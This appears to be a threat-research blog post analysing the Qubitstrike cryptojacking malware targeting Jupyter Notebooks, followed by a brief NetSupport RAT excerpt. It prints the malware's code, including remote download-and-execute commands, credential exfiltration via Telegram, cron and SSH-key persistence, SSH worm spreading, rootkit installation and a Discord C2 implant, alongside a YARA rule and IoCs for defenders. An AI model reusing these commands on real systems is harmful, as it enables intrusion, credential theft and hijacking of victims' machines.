October 18, 2023

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Qubitstrike is an emerging cryptojacking campaign primarily targeting exposed Jupyter Notebooks that exfiltrates cloud credentials, mines XMRig, and employs persistence mechanisms. The malware utilizes Discord for C2, displaying compromised host information and enabling command execution, file transfer, and process hiding via the Diamorphine rootkit.

Written by

Nate Bill

Threat Researcher

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Nate Bill

Threat Researcher

Oct 2023

Introduction: Qubitstrike

Researchers from Cado Security Labs (now part of Darktrace) have discovered a new cryptojacking campaign targeting exposed Jupyter Notebooks. The malware includes relatively sophisticated command and control (C2) infrastructure, with the controller using Discord’s bot functionality to issue commands on compromised nodes and monitor the progress of the campaign.

After successful compromise, Qubitstrike hunts for a number of hardcoded credential files for popular cloud services (including AWS and Google Cloud) and exfiltrates these via the Telegram Bot API. Cado researchers were alerted to the use of one such credential file, demonstrating the attacker’s intent to pivot to cloud resources, after using Qubitstrike to retrieve the appropriate credentials.

The payloads for the Qubitstrike campaign are all hosted on Codeberg, an alternative Git hosting platform, providing much of the same functionality as Github. This is the first time Cado researchers have encountered this platform in an active malware campaign. It’s possible that Codeberg’s up-and-coming status makes it attractive as a hosting service for malware developers.

Figure 1: Qubitstrike Discord C2 operation

Initial access

The malware was first observed on Cado’s high interaction Jupyter honeypot. An IP in Tunisia connected to the Jupyter instance on the honeypot machine and opened a Bash instance using Jupyter’s terminal feature. Following this, they ran the following commands to compromise the machine:

#<timestamp> 
lscpu 
#<timestamp> 
sudo su 
#<timestamp> 
ls 
#<timestamp> 
ls -rf 
#<timestamp> 
curl 
#<timestamp> 
echo "Y3VybCAtbyAvdG1wL20uc2ggaHR0cHM6Ly9jb2RlYmVyZy5vcmcvbTRydDEvc2gvcmF3L2JyYW5jaC9tYWluL21pLnNoIDsgY2htb2QgK3ggL3RtcC9tLnNoIDsgL3RtcC9tLnNoIDsgcm0gLWYgL3RtcC9tLnNoIDsgaGlzdG9yeSAtYyAK" | base64 -d | bash

Given the commands were run over a span of 195 seconds, this suggests that they were performed manually. Likely, the operator of the malware had discovered the honeypot via a service such as Shodan, which is commonly used to discover vulnerable services by threat actors.

The history indicates that the attacker first inspected what was available on the machine - running lscpu to see what CPU it was running and sudo su to determine if root access was possible.

The actor then looks at the files in the current directory, likely to spot any credential files or indicators of the system’s purpose that have been left around. Cado’s high interaction honeypot system features bait credential files containing canary tokens for various services such as AWS, which caught the attackers attention.

The attacker then confirms curl is present on the system, and runs a base64 encoded command, which decodes to:

<code lang="bash" class="language-bash">curl -o /tmp/m.sh https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh ; chmod +x /tmp/m.sh ; /tmp/m.sh ; rm -f /tmp/m.sh ; history -c</code>

This downloads and executes the main script used by the attacker. The purpose of base64 encoding the curl command is likely to hide the true purpose of the script from detection.

mi.sh

After achieving initial access via exploitation of a Jupyter Notebook, and retrieving the primary payload via the method described above, mi.sh is executed on the host and kickstarts the Qubitstrike execution chain. 

As the name suggests, mi.sh is a shell script and is responsible for the following:

Retrieving and executing the XMRig miner
Registering cron persistence and inserting an attacker-controlled SSH key
Retrieving and installing the Diamorphine rootkit
Exfiltrating credentials from the host
Propagating the malware to related hosts via SSH

As is common with these types of script-based cryptojacking campaigns, the techniques employed are often stolen or repurposed from similar malware samples, making attribution difficult. For this reason, the following analysis will highlight code that is either unique to Qubitstrike or beneficial to those responding to Qubitstrike compromises.

System preparation

mi.sh begins by conducting a number of system preparation tasks, allowing the operator to evade detection and execute their miner without interference. The first such task is to rename the binaries for various data transfer utilities, such as curl and wget - a common technique in these types of campaigns. It’s assumed that the intention is to avoid triggering detections for use of these utilities in the target environment, and also to prevent other users from accessing them. This technique has previously been observed by Cado researchers in campaigns by the threat actor WatchDog.

clear ; echo -e "$Bnr\n Replacing WGET, CURL ...\n$Bnr" ; sleep 1s 
if [[ -f /usr/bin/wget ]] ; then mv /usr/bin/wget /usr/bin/zget ; fi 
if [[ -f /usr/bin/curl ]] ; then mv /usr/bin/curl /usr/bin/zurl ; fi 
if [[ -f /bin/wget ]] ; then mv /bin/wget /bin/zget ; fi 
if [[ -f /bin/curl ]] ; then mv /bin/curl /bin/zurl ; fi 
fi 
if [[ -x "$(command -v zget)" ]] ; then req="zget -q -O -" ; DLr="zget -O"; elif [[ -x "$(command -v wget)" ]] ; then req="wget -q -O -" ; DLr="wget -O"; elif [[ -x "$(command -v zurl)" ]] ; then req="zurl" ; DLr="zurl -o"; elif [[ -x "$(command -v curl)" ]] ; then req="curl" ; DLr="curl -o"; else echo "[!] There no downloader Found"; fi

Example code snippet demonstrating renamed data transfer utilities

mi.sh will also iterate through a hardcoded list of process names and attempt to kill the associated processes. This is likely to thwart any mining operations by competitors who may have previously compromised the system.

list1=(\.Historys neptune xm64 xmrig suppoieup '*.jpg' '*.jpeg' '/tmp/*.jpg' '/tmp/*/*.jpg' '/tmp/*.xmr' '/tmp/*xmr' '/tmp/*/*xmr' '/tmp/*/*/*xmr' '/tmp/*nanom' '/tmp/*/*nanom' '/tmp/*dota' '/tmp/dota*' '/tmp/*/dota*' '/tmp/*/*/dota*','chron-34e2fg') 
list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota) 
list3=('/tmp/sscks' './crun' ':3333' ':5555' 'log_' 'systemten' 'netns' 'voltuned' 'darwin' '/tmp/dl' '/tmp/ddg' '/tmp/pprt' '/tmp/ppol' '/tmp/65ccE' '/tmp/jmx*' '/tmp/xmr*' '/tmp/nanom*' '/tmp/rainbow*' '/tmp/*/*xmr' 'http_0xCC030' 'http_0xCC031' 'http_0xCC033' 'C4iLM4L' '/boot/vmlinuz' 'nqscheduler' '/tmp/java' 'gitee.com' 'kthrotlds' 'ksoftirqds' 'netdns' 'watchdogs' '/dev/shm/z3.sh' 'kinsing' '/tmp/l.sh' '/tmp/zmcat' '/tmp/udevd' 'sustse' 'mr.sh' 'mine.sh' '2mr.sh' 'cr5.sh' 'luk-cpu' 'ficov' 'he.sh' 'miner.sh' 'nullcrew' 'xmrigDaemon' 'xmrig' 'lolminer' 'xmrigMiner' 'xiaoyao' 'kernelcfg' 'xiaoxue' 'kernelupdates' 'kernelupgrade' '107.174.47.156' '83.220.169.247' '51.38.203.146' '144.217.45.45' '107.174.47.181' '176.31.6.16' 'mine.moneropool.com' 'pool.t00ls.ru' 'xmr.crypto-pool.fr:8080' 'xmr.crypto-pool.fr:3333' '[email protected]' 'monerohash.com' 'xmr.crypto-pool.fr:6666' 'xmr.crypto-pool.fr:7777' 'xmr.crypto-pool.fr:443' 'stratum.f2pool.com:8888' 'xmrpool.eu') 
list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer) 
if type killall > /dev/null 2>&1; then for k1 in "${list1[@]}" ; do killall $k1 ; done fi for k2 in "${list2[@]}" ; do pgrep $k2 | xargs -I % kill -9 % ; done for k3 in "${list3[@]}" ; do ps auxf | grep -v grep | grep $k3 | awk '{print $2}' | xargs -I % kill -9 % ; done for k4 in "${list4[@]}" ; do pkill -f $k4 ; done }

Example of killing competing miners

Similarly, the sample uses the netstat command and a hardcoded list of IP/port pairs to terminate any existing network connections to these IPs. Additional research on the IPs themselves suggests that they’ve been previously  in cryptojacking [1] [2].

net_kl() { 
list=(':1414' '127.0.0.1:52018' ':143' ':3389' ':4444' ':5555' ':6666' ':6665' ':6667' ':7777' ':3347' ':14444' ':14433' ':13531' ':15001' ':15002') 
for k in "${list[@]}" ; do netstat -anp | grep $k | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ; done 
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
}

Using netstat to terminate open network connections

Furthermore, the sample includes a function named log_f() which performs some antiforensics measures by deleting various Linux log files when invoked. These include /var/log/secure, which stores successful/unsuccessful authentication attempts and /var/log/wtmp, which stores a record of system-wide logins and logouts. 

log_f() { 
logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog) 
for Lg in "${logs[@]}" ; do echo 0> $Lg ; done 
}

Qubitstrike Linux log file antiforensics

Retrieving XMRig

After performing some basic system preparation operations, mi.sh retrieves a version of XMRig hosted in the same Codeberg repository as mi.sh. The miner itself is hosted as a tarball, which is unpacked and saved locally as python-dev. This name is likely chosen to make the miner appear innocuous in process listings. 

After unpacking, the miner is executed in /usr/share/.LQvKibDTq4 if mi.sh is running as a regular unprivileged user, or /tmp/.LQvKibDTq4 if mi.sh is running as root.

miner() { 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $DIR/xm.tar.gz $miner_url > /dev/null 2>&1 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/* 
$DIR/python-dev -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
else 
if [[ -x "$(command -v python3)" ]] ; then 
python3 -c "import urllib.request; urllib.request.urlretrieve('$miner_url', '$DIR/xm.tar.gz')" 
if [ -s $DIR/xm.tar.gz ] ; then 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/python-dev 
$DIR/$miner_name -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
fi 
fi 
fi 
}

Qubitstrike miner execution code

The malware uses a hardcoded mining pool and wallet ID, which can be found in the Indicators of Compromise (IoCs) section.

Registering persistence

mi.sh utilizes cron for persistence on the target host. The malware writes four separate cronjobs, apache2, apache2.2, netns and netns2, which are responsible for: 

executing the miner at reboot
executing an additional payload (kthreadd) containing the competitor-killing code mentioned previously
executing mi.sh on a daily basis

cron_set() { 
killerd="/usr/share/.28810" 
mkdir -p $killerd 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $killerd/kthreadd $killer_url 
chmod +x $killerd/kthreadd 
chattr -R -ia /etc/cron.d 
echo "@reboot root $DIR/$miner_name -c $DIR/config.json" > /etc/cron.d/apache2 
echo "@daily root $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/apache2.2 
echo -e "*/1 * * * * root /usr/share/.28810/kthreadd" > /etc/cron.d/netns 
echo -e "0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/netns2 
cat /etc/crontab | grep -e "https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh" | grep -v grep 
if [ $? -eq 0 ]; then 
: 
else 
echo "0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
echo "0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
fi 
chattr -R +ia /etc/cron.d 
fi 
}

Cron persistence code examples

As mentioned previously, mi.sh will also insert an attacker-controlled SSH key, effectively creating a persistent backdoor to the compromised host. The malware will also override various SSH server configurations options, ensuring that root login and public key authentication are enabled, and that the SSH server is listening on port 22.

echo "${RSA}" >>/root/.ssh/authorized_keys 
chattr -aui /etc/ssh >/dev/null 2>&1 
chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow >/dev/null 2>&1 
echo >/etc/hosts.deny 
echo >/etc/hosts.allow 
mkdir -p /etc/ssh 
sed -i -e 's/Port 78//g' -e 's/\#Port 22/Port 22/g' -e 's/\#PermitRootLogin/PermitRootLogin/g' -e 's/PermitRootLogin no/PermitRootLogin yes/g' -e 's/PubkeyAuthentication no/PubkeyAuthentication yes/g' -e 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config 
chmod 600 /etc/ssh/sshd_config

Inserting an attacker-controlled SSH key and updating sshd_config

Credential exfiltration

One of the most notable aspects of Qubitstrike is the malware’s ability to hunt for credential files on the target host and exfiltrate these back to the attacker via the Telegram Bot API. Notably, the malware specifically searches for AWS and Google Cloud credential files, suggesting targeting of these Cloud Service Providers (CSPs) by the operators.

DATA_STRING="IP: $client | WorkDir: $DIR | User: $USER | cpu(s): $cpucount | SSH: $SSH_Ld | Miner: $MINER_stat" 
zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 
CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \ "access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \ ".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env") for CREFILE in ${CRED_FILE_NAMES[@]}; do find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> /tmp/creds done SECRETS="$(cat /tmp/creds)" zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 cat /tmp/creds rm /tmp/creds }

Enumerating credential files and exfiltrating them via Telegram

Inspection of this Telegram integration revealed a bot named Data_stealer which was connected to a private chat with a user named z4r0u1. Cado researchers assess with high confidence that the malware transmits the collection of the credentials files to this Telegram bot where their contents are automatically displayed in a private chat with the z4r0u1 user.

Figure 2: @z4r0u1 Telegram user profile

SSH propagation

Similar to other cryptojacking campaigns, Qubitstrike attempts to propagate in a worm-like fashion to related hosts. It achieves this by using a regular expression to enumerate IPs in the SSH known_hosts file in a loop, before issuing a command to retrieve a copy of mi.sh and piping it through bash on each discovered host.

ssh_local() { 
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then 
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash >/dev/null 2>&1 &' & done 
fi 
}

SSH propagation commands

This ensures that the primary payload is executed across multiple hosts, using their collective processing power for the benefit of the mining operation.

Diamorphine rootkit

Another notable feature of Qubitstrike is the deployment of the Diamorphine LKM rootkit, used to hide the attacker’s malicious processes. The rootkit itself is delivered as a base64-encoded tarball which is unpacked and compiled directly on the host. This results in a Linux kernel module, which is then loadable via the insmod command.

hide1() { 
ins_package 
hidf='H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/fbbBcE35FeTXnvH/RBTwGJ3sdgXHjEtfeX63sJy2J <truncated> 
echo $hidf|base64 -d > $DIR/hf.tar 
tar -xf $DIR/hf.tar -C $DIR/ 
cd $DIR 
make 
proc="$(ps aux | grep -v grep | grep 'python-dev' | awk '{print $2}')" 
if [ -f "$DIR/diamorphine.ko" ] ; then 
insmod diamorphine.ko 
echo "Hiding process ( python-dev ) pid ( $proc )" 
kill -31 $proc 
else 
rm -rf $DIR/diamorphine* 
rm $DIR/Make* 
rm -f $DIR/hf.tar 
fi 
}

Insmod method of installing Diamorphine

The attackers also provide a failover option to cover situations where the insmod method is unsuccessful. Rather than unpacking and installing a kernel module, they instead compile the Diamorphine source to produce a Linux Shared Object file and use the LD Preload technique to register it with the dynamic linker. This results in it being executed whenever a new executable is launched on the system.

hide2() { 
hidf='I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxkbGZjbi5oPgojaW5jb <truncated> 
echo $hidf | base64 -d > $DIR/prochid.c 
sed -i 's/procname/python-dev/g' $DIR/prochid.c 
chattr -ia /etc/ld.so.preload /usr/local/lib/ >/dev/null 2>&1 
gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so $DIR/prochid.c -ldl 
echo /usr/local/lib/libnetresolv.so > /etc/ld.so.preload 
if [ -f /usr/local/lib/libnetresolv.so ] ; then 
chattr +i /usr/local/lib/libnetresolv.so 
chattr +i /etc/ld.so.preload 
else 
rm -f /etc/ld.so.preload 
fi 
}

Installing Diamorphine via the LD Preload method

Diamorphine is well-known in Linux malware circles, with the rootkit being observed in campaigns from TeamTNT and, more recently, Kiss-a-dog. Compiling the malware on delivery is common and is used to evade EDRs and other detection mechanisms.

Credential access

As mentioned earlier, the mi.sh sample searches the file system for credentials files and exfiltrates them over Telegram. Shortly after receiving an alert that Cado’s bait AWS credentials file was accessed on the honeypot machine, another alert indicated that the actor had attempted to use the credentials.

The user agent shows that the system running the command is Kali Linux, which matches up with the account name in the embedded SSH key from mi.sh. The IP is a residential IP in Bizerte, Tunisia (although the attacker also used an IP located in Tunis). It is possible this is due to the use of a residential proxy, however it could also be possible that this is the attacker’s home IP address or a local mobile network.

In this case, the attacker tried to fetch the IAM role of the canary token via the AWS command line utility. They then likely realized it was a canary token, as no further alerts of its use were observed.

Discord C2

Exploring the Codeberg repository, a number of other scripts were discovered, one of which is kdfs.py. This python script is an implant/agent, designed to be executed on compromised hosts, and uses a Discord bot as a C2. It does this by embedding a Discord token within the script itself, which is then passed into the popular Discord bot client library, Discord.py.

Using Discord as a C2 isn’t uncommon, large amounts of malware will abuse developer-friendly features such as webhooks and bots. This is due to the ease of access and use of these features (taking seconds to spin up a fresh account and making a bot) as well as familiarity with the platforms themselves. Using Software-as-a-Service (SaaS) platforms like Discord also make C2 traffic harder to identify in networks, as traffic to SaaS platforms is usually ubiquitous and may pose challenges to sort through.

Interestingly, the author opted to store this token in an encoded form, specifically Base64 encoded, then Base32 encoded, and then further encoded using ROT13. This is likely an attempt to prevent third parties from reading the script and retrieving the token. However, as the script contains the code to decode it (before passing it to Discord.py), it is trivial to reverse.

# decrypt api 
token = "XEYSREFAVH2GZI2LZEUSREGZTIXT44PTZIPGPIX2TALR6MYAWL3SV3GQBIWQN3OIZAPHZGXZAEWQXIXJAZMR6EF2TIXSZHFKZRMJD4PJAIGGPIXSVI2R23WIVMXT24PXZZLQFMFAWORKDH2IVMPSVZGHYV======" 
token = codecs.decode(token, 'rot13') 
token = base64.b32decode(token) 
token = base64.b64decode(token) 
token = token.decode('ascii')

Example of Python decoding multiple encoding mechanisms

As Discord.py is likely unavailable on the compromised systems, the README for the repository contains a one-liner that converts the python script into a self-contained executable, as seen below:

<code lang="bash" class="language-bash">mkdir -p /usr/share/games/.2928 ; D=/usr/share/games/.2928 ; wget https://codeberg.org/m4rt1/sh/raw/branch/main/kdfs.py -O $D/kdfs.py ; pip install Discord ; pip install pyinstaller ; cd $D ; pyinstaller --onefile --clean --name kdfs kdfs.py ; mv /dist/kdfs kdfs</code>

Once kdfs.py is executed on a host, it will drop a message in a hardcoded channel, stating a randomly generated ID of the host, and the OS the host is running (derived from /etc/os-release). The bot then registers a number of commands that allow the operator to interact with the implant. As each implant runs the same bot, each command uses the randomly generated ID of the host to determine which implant a specific command is directed at. It also checks the ID of the user sending the command matches a hardcoded user ID of the operator.

@bot.command(pass_context=True) 
async def cmd(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif client_id in ctx.message.content: 
        # Strips chars preceeding command from command string 
        command = str(ctx.message.content)[(len(client_id) + 6):] 
        ret = f"[!] Executing on `{client_id}` ({client_ip})!\n```shell\n{client_user}$ {command}\n\n{os.popen(command).read()}```" 
        await ctx.send(ret) 
    else: 
        return

There is also support for executing a command on all nodes (no client ID check), but interestingly this feature does not include authentication, so anyone with access to the bot channel can run commands. The implant also makes use of Discord for data exfiltration, permitting files to be both uploaded and downloaded via Discord attachments. Using SaaS platforms for data exfiltration is growing more common, as traffic to such websites is difficult to track and ubiquitous, allowing threat actors to bypass network defenses easier.

@bot.command(pass_context=True) 
async def upload(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif ctx.message.attachments: 
        url = str(ctx.message.attachments[0]) 
        os.popen(f"wget -q {url}").read() 
        path = os.popen('pwd').read().strip() 
        await ctx.send(f'[!] Uploaded attachment to `{path+"/"+ctx.message.attachments[0].filename}` on client: `{client_id}`.') 
    else: 
        await ctx.send('[!] No attachment provided.') 
@bot.command(pass_context=True) async def download(ctx): # Only allow commands from authorized users if await auth(ctx): return else: file_path = str(ctx.message.content)[(len(client_id) + 11):] file_size = int((os.popen(f"du {file_path}" + " | awk '{print $1}'")).read()) if file_size > 3900: await ctx.send(f'[!] The requested file ({file_size} bytes) exceeds the Discord API upload capacity (3900) bytes.') else: await ctx.send(file=Discord.File(rf'{file_path}'))

As mentioned earlier, the Discord token is directly embedded in the script. This allows observation of the Discord server itself and observe the attacker interacting with the implants. The name of the server used is “NETShadow”, and the channel the bot posts to is “victims”. The server also had another channel titled “ssh”, however it was empty. 

All of the channels were made at the exact same time on September 2, 2023, suggesting that the creation process was automated. The bot’s username is Qubitstrike (hence the name was given to the malware) and the operator’s pseudonym is “BlackSUN”. 17 unique IP addresses were observed in the channel.

Figure 4: Example Qubitstrike output displayed in Discord

It is unclear what the relation between mi.sh and kdfs.py is. It would appear that the operator first deploys kdfs.py and then uses the implant to deploy mi.sh, however on Cado’s honeypot, kdfs.py was never deployed, only mi.sh was.

Conclusion

Qubitstrike is a relatively sophisticated malware campaign, spearheaded by attackers with a particular focus on exploitation of cloud services. Jupyter Notebooks are commonly deployed in cloud environments, with providers such as Google and AWS offering them as managed services. Furthermore, the primary payload for this campaign specifically targets credential files for these providers and Cado’s use of canary tokens demonstrates that further compromise of cloud resources is an objective of this campaign.

Of course, the primary objective of Qubitstrike appears to be resource hijacking for the purpose of mining the XMRig cryptocurrency. Despite this, analysis of the Discord C2 infrastructure shows that, in reality, any conceivable attack could be carried out by the operators after gaining access to these vulnerable hosts. 

Cado urges readers with Jupyter Notebook deployments to review the security of the Jupyter servers themselves, paying particular attention to firewall and security group configurations. Ideally, the notebooks should not be exposed to the public internet. If you require them to be exposed, ensure that you have enabled authentication for them. 

References

YARA rule

rule Miner_Linux_Qubitstrike { 
meta: 
description = "Detects Qubitstrike primary payload (mi.sh)" 
author = "[email protected]" 
date = "2023-10-10" 
attack = "T1496" 
license = "Apache License 2.0" 
hash1 = "9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd" 
strings: 
$const1 = "miner_url=" 
$const2 = "miner_name=" 
$const3 = "killer_url=" 
$const4 = "kill_url2=" 
$creds = "\"credentials\" \"cloud\" \".s3cfg\" \".passwd-s3fs\" \"authinfo2\" \".s3backer_passwd\" \".s3b_config\" \"s3proxy.conf\"" 
$log1 = "Begin disable security" $log2 = "Begin proccess kill" $log3 = "setup hugepages" $log4 = "SSH setup" $log5 = "Get Data && sent stats" 
$diam1 = "H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1" $diam2 = "I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg" 
$wallet = "49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo" condition: 3 of ($const*) and $creds and 3 of ($log*) and all of ($diam*) and $wallet }

Indicators of compromise

Filename SHA256

mi.sh 9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd

kdfs.py bd23597dbef85ba141da3a7f241c2187aa98420cc8b47a7d51a921058323d327

xm64.tar.gz 96de9c6bcb75e58a087843f74c04af4489f25d7a9ce24f5ec15634ecc5a68cd7

xm64 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

killer.sh ae65e7c5f4ff9d56e882d2bbda98997541d774cefb24e381010c09340058d45f

kill_loop.sh a34a36ec6b7b209aaa2092cc28bc65917e310b3181e98ab54d440565871168cb

Paths

/usr/share/.LQvKibDTq4

/usr/local/lib/libnetresolv.so

/tmp/.LQvKibDTq4

/usr/bin/zget

/usr/bin/zurl

/usr/share/.28810

/usr/share/.28810/kthreadd

/bin/zget

/bin/zurl

/etc/cron.d/apache2

/etc/cron.d/apache2.2

/etc/cron.d/netns

/etc/cron.d/netns2

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali

URLs

https://codeberg[.]org/m4rt1/sh/raw/branch/main/xm64.tar.gz

https://codeberg[.]org/m4rt1/sh/raw/branch/main/killer.sh

https://codeberg[.]org/m4rt1/sh/raw/branch/main/kill_loop.sh

Cryptocurrency wallet ID

49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo

Cryptocurrency mining pool

pool.hashvault.pro:80

執筆者

Nate Bill

Threat Researcher

Inside the SOC

Written by

Nate Bill

Threat Researcher

Analyst Consulting Lead – AMS

•

February 13, 2026

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Blog

Network

March 10, 2026

NetSupport RAT: How Legitimate Tools Can Be as Damaging as Malware

What is NetSupport Manager?

NetSupport Manager is a legitimate IT tool used by system administrators for remote support, monitoring, and management. In use since 1989, NetSupport Manager enables users to remotely access and navigate systems across different platforms and operating systems [1].

What is NetSupport RAT?

Although NetSupport Manager is a legitimate tool that can be used by IT and security professionals, there has been a rising number of cases in which it is abused to gain unauthorized access to victim systems. This misuse has become so prevalent that, in recent years, security researchers have begun referring to NetSupport as a Remote Access Trojan (RAT), a term typically used for malware that enables a threat actor to remotely access or control an infected device [2][3][4].

NetSupport RAT activity summary

The initial stages of NetSupport RAT infection may vary depending on the source of the initial compromise. Using tactics such as the social engineering tactic ClickFix, threat actors attempt to trick users into inadvertently executing malicious PowerShell commands under the guise of resolving a non-existent issue or completing a fake CAPTCHA verification [5]. Other attack vectors such as phishing emails, fake browser updates, malicious websites, search engine optimization (SEO) poisoning, malvertising and drive-by downloads are also employed to direct users to fraudulent pages and fake reCAPTCHA verification checks, ultimately inducing them to execute malicious PowerShell commands [5][6][7]. This leads to the successful installation of NetSupport Manager on the compromised device, which is often placed in non-standard directories such as AppData, ProgramData, or Downloads [3][8].

Once installed, the adversary is able to gain remote access to the affected machine, monitor user activity, exfiltrate data, communicate with the command-and-control (C2) server, and maintain persistence [5]. External research has also highlighted that post-exploitation of NetSupport RAT has involved the additional download of malicious payloads [2][5].

